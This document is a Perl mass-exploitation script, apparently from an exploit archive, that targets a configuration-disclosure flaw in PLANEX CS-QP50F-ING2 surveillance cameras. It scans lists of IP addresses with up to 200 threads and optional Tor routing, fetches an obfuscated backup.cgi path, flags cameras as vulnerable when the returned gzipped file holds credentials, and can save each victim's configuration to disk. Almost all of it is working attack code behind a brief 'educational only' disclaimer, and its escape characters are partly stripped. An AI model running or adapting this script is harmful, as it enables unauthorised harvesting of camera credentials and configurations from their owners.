Authored by Todor Donev

PLANEX CS-QP50F-ING2 security surveillance smart camera remote configuration disclosure exploit.

#!/usr/bin/perl
#
# PLANEX CS-QP50F-ING2 Security Surveillance Smart Camera Remote Configuration Disclosure - Mass Exploiter
#
# Copyright 2021 (c) Todor Donev <todor.donev at gmail.com>
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
#

use strict;
use warnings;

use Getopt::Long;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Data::Validate::IP;
use MCE::Hobo 1.817;
use MCE::Shared;
use Gzip::Faster 'gunzip';

my $queue1 = MCE::Shared->queue(fast => 1);
my $queue2 = MCE::Shared->queue(fast => 1);

my $redirects = 3;
my $timeout = 60;
my $targets = undef;
my $threads = 10;
my $tor = undef;
my $dump = undef;
my $gzip_magic = "x1Fx8Bx08";

printf("n PLANEX CS-QP50F-ING2 Security Surveillance Smart Camera Remote Configuration Disclosure - Mass Exploitern");

sub help() {
printf("n $0 --targets=<FILENAME> [ --threads=10 --redirects=7 ] --helpnn");
printf(" Required args:nn");
printf(" %-12s | %snn", "--targets", "Specify the list with addresses that you want to scan.");
printf(" Not required args:nn");
printf(" %-12s | %sn", "--dump", "Dump backup configuration file for each target");
printf(" %-12s | %sn", "--tor", "Use Tor anonymity network");
printf(" %-12s | %sn", "--timeout", "Specify HTTP request timeout. Default: 60");
printf(" %-12s | %sn", "--threads", "Specify threads. Default: 10 / Maximum threads: 200");
printf(" %-12s | %snn", "--redirects", "Specify HTTP response redirects. Default: 3");
printf(" e.g. perl $0 --targets=portscan.log --threads=25n");
printf(" e.g. perl $0 --targets=portscan.log --threads=25 --torn");
printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor --dumpnnn");
printf(" Author: Todor Donev <[email protected]> https://donev.eu/nnn");
exit;
}
GetOptions(
"targets=s" => $targets,
"timeout=i" => $timeout,
"redirects=i" => $redirects,
"threads=i" => $threads,
"tor" => $tor,
"dump" => $dump,
"help|h!" => &help
);
help() if (!$targets);
printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets);
printf(" Error: Timeout is too short. Minimum timeout: 10n") and exit if ($timeout < 10);
printf(" Error: Threads are too many. Maximum threads: 200n") and exit if ($threads > 200);

my @tmp_targets = ();
my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`;

for my $line (@targets) {
chomp($line);
next if ($line =~ /^(s*(#.*)?)?$/);
next if (not is_ipv4($line));
push @tmp_targets, $line;
}

@tmp_targets = sort { $a cmp $b } @tmp_targets;
@targets = ();
@targets = @tmp_targets;
@tmp_targets = ();
printf(" Error: There are not valid targets specified for scanning.n") and exit if (scalar @targets == 0);

printf("-------------------------------------------------------------------------------------------------------------n");
printf(" Target Code Status n");
printf("-------------------------------------------------------------------------------------------------------------n");


MCE::Hobo->create("work") for 1..$threads;

$queue1->enqueue(@targets);
$queue1->end;

while (my $result = $queue2->dequeue) {
if (exists $result->{finished}) {
MCE::Hobo->waitone;
$queue2->end unless MCE::Hobo->pending;
next;
}
my ($target, $code, $status) = ($result->{target}, $result->{code}, $result->{status});
printf(" %-30.30s %-40.40s %-50.50sn", $target, $code, $status);
}

exit;

sub work {
while (my $addr = $queue1->dequeue()) {
chomp($addr);
my ($target, $code, $status) = scan($addr, $redirects, $timeout);
$queue2->enqueue({ target => $target, code => $code, status => $status});
}
$queue2->enqueue({ finished => $$ });
return;
}

sub scan {
my ($addr, $redirects, $timeout) = @_;
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout($timeout);
$browser->agent($user_agent);
$browser->max_redirect($redirects);
if (defined($tor)) {
$browser->proxy([qw(http https)] => 'socks://127.0.0.1:9050');
}
my $target = "http://".$addr."x2fx77x65x62x2fx63x67x69x2dx62x69x6ex2fx68x69x33x35x31x30x2fx62x61x63x6bx75x70x2ex63x67x69";
my $header = ["Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8"];
my $request = HTTP::Request->new (GET => $target, $header, "");
my $response = eval{ $browser->request($request) };
my $status = ($response->content =~ m/($gzip_magic)/ && gunzip($response->content) =~ m/username/) ? "VULNERABLE" : "NOT VULNERABLE";
if (defined($dump)) {
if ($response->is_success && $status eq "VULNERABLE") {
my @config = $response->content;
my $config_file = $addr."_config_backup.bin";
open (FH, "> $config_file") or die " Error: $config_file $!";
flock (FH, 2);
truncate (FH, 0);
seek (FH, 0, 0);
print (FH $_) foreach (@config);
close (FH);
@config = ();
}
}
my $code = $response->status_line() ? $response->status_line() : "ERROR";
return ($addr, $code, $status);
}